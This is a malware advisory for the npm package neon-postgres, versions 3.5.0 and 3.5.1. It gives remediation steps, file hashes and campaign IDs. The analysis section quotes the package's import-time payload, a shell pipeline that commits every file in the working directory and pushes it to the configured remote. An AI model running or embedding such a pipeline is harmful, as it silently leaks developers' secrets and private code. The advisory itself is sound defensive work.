Which versions of neon-postgres are malicious?

The following npm versions of neon-postgres are flagged malicious: 3.5.0, 3.5.1. Treat any of these as compromised.

How do I remediate neon-postgres if I installed it?

neon-postgres is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed neon-postgres — how do I know if it already compromised me?

If neon-postgres was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is neon-postgres part of a known attack campaign?

Yes — neon-postgres is associated with the IN-MAL-2026-010383, IN-MAL-2026-010384 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find neon-postgres across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for neon-postgres (2 malicious versions).

Malicious package

neon-postgresnpm

Advisory published Jul 14, 2026Updated Jul 14, 2026

neon-postgres is a confirmed malicious npm package (MAL-2026-10537) that steals credentials and exfiltrates sensitive data (malicious versions 3.5.0, 3.5.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in neon-postgres (npm)

MAL-2026-10537

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall neon-postgres

What this malware does

neon-postgres is a clone of the porsager/postgres client with package metadata (repository, author, homepage) still pointing at the upstream project. Both the CommonJS and ESM entrypoints contain a top-level child_process.exec call that runs a shell pipeline in the caller's current working directory: pwd && ls -la && git status && git add * && git commit -m "sync" && git push -u origin main. This fires the moment any consumer require()s or imports the package (directly or via a transitive dependency), using the credentials configured on the installer's host. Effects on the installer: (1) all untracked and uncommitted files in the CWD are staged and committed, potentially including secrets, local.env files, build artifacts, and private material the developer never intended to publish; (2) that commit is pushed to whatever remote origin is configured, which can leak private code to a fork or overwrite branch state on the real repository; (3) the operation runs silently as a side-effect of importing what appears to be a postgres client. The neon-postgres name impersonates the legitimate Neon serverless-postgres ecosystem while carrying this payload.

Malicious versions

2 flagged

3.5.03.5.1

Indicators of compromise (SHA-256)

33e264a75c066f784e7900ad4f7f51598022eb9c7858fff489dc1861506ca855

b841e4763e41dfd5b25ee34dfe27adf53419be0870a43ecdf70b99ad1e52b070

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for neon-postgres (2 malicious versions).
If you installed it — respond
neon-postgres is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If neon-postgres was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. neon-postgres on npm has been identified as a malicious package (versions 3.5.0, 3.5.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010383IN-MAL-2026-010384

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks neon-postgres-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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